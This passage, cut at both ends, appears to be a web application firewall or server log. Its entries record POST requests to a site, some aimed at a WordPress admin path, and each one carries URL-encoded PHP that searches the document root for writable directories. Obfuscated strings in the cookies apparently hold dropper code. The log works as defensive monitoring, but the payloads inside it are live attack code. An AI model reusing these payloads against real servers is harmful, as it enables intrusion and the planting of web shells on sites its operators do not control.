4file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqyRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3811\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\n\nvQ=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 09:56:18","77.65.47.245","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> og:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo2pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3811\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nog=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 09:56:19","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> qK:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpHfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3811\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\n\nqK=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 09:56:21","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> aG:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3832\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\n\naG=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob